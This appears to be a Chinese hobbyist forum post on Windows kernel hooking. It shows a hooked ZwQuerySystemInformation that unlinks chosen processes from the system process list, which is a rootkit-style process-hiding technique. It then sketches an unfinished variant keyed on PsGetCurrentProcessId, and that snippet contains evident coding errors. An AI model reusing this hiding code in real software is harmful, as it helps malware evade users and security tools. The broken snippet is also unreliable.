妙用PsGetCurrentProcessId

搬砖王

技术分享 2月前 1 浏览

妙用PsGetCurrentProcessId

额呵呵！我是个高中生，hihi语文创造了5年不及格的记录，汗！现在高三了~~心理有点儿发毛
和呵和，先不吐槽这个来，写过内核的人都知道
HANDLE PsGetCurrentProcessId(void);
可以取到当前进程的PID 虽然微软定义为handle~~~~
NTSTATUS WINAPI ZwQueryInformationProcess(
__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__out PVOID ProcessInformation,
__in ULONG ProcessInformationLength,
__out_opt PULONG ReturnLength
)<-这个家伙，大家都很喜欢用可以HNDLE->PID
ZwQuerySystemInformation(
IN ULONG                SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL ) 这个家伙大家更是经常用~~进程隐藏检举函数~~我喜欢这么叫~~
那么能否规定一个进程不让他有进程的检举能力呢？
1.一般大家都是从某函数里面的结构读出这个进程的PID或者EPROCESS进行限制。。。
示范一下进程隐藏
一般写进程隐藏：
NTSTATUS Hook_ZwQuerySystemInformation(
  IN ULONG        SystemInformationClass,
  OUT PVOID              SystemInformation,
  IN ULONG                SystemInformationLength,
  OUT PULONG              ReturnLength OPTIONAL )
{
   NTSTATUS ntStatus;
   ntStatus = OldZwQuerySystemInformation(
    SystemInformationClass,
    SystemInformation,
    SystemInformationLength,
    ReturnLength);
   if( NT_SUCCESS(ntStatus))
   {
      if(SystemInformationClass ==5 )
      {
     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;

     while(curr)
     {
      if (IsMyProcess((HANDLE)curr->ProcessId))
      {
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
          m_UserTime.QuadPart += curr->UserTime.QuadPart;
          if(prev)
          {
            if(curr->NextEntryDelta == FALSE)
              prev->NextEntryDelta = 0;
            else
              prev->NextEntryDelta += curr->NextEntryDelta;
          }
          else
          {
            if(curr->NextEntryDelta == FALSE)
            {
              SystemInformation = NULL;
            }
            else
              (char *)SystemInformation += curr->NextEntryDelta;
          }
      }
      else
      {
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
        else curr = NULL;
       }
    }
    else if (SystemInformationClass ==8 )
    {
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }
   }
   return ntStatus;

2.判断是否有目的进程PID是的话过滤或者~~~~
有了这个PsGetCurrentProcessId 我们完全可以完成一个另类的~~~
NTSTATUS Hook_ZwQuerySystemInformation(
  IN ULONG        SystemInformationClass,
  OUT PVOID              SystemInformation,
  IN ULONG                SystemInformationLength,
  OUT PULONG              ReturnLength OPTIONAL )
{
   NTSTATUS ntStatus;
   ntStatus = OldZwQuerySystemInformation(
    SystemInformationClass,
    SystemInformation,
    SystemInformationLength,
    ReturnLength);
   if( NT_SUCCESS(ntStatus))
   {
      if(SystemInformationClass ==5 )
      {
if (PsGetCurrentProcessId=Attack_pid)
{
KdPrint("come on \n",Attack_pid);
~~
。。。。。。。。。。。。。。。。。后面自己写
~~~ 测试一下吧~~
@1：每次有进程检举
都能看到 HOOK下的 NtQuerySystemInformation 调用的进程PID而且是不同的PID
不只是自身~说明 PsGetCurrentProcessId 取到的是当前访问函数的PID
ps：下面说：A盾作者无视SSDT ZwQuerySystemInformation
~~~~~~

类似：NtMapViewOfSection 这样子的函数我们可以直接 IF (PsGetCurrentProcessId()=attack_PID)
{
   return  STATUS_SUCCESS
请大家多多包涵~~ 当做我在锻炼
这个BBS应该活泼点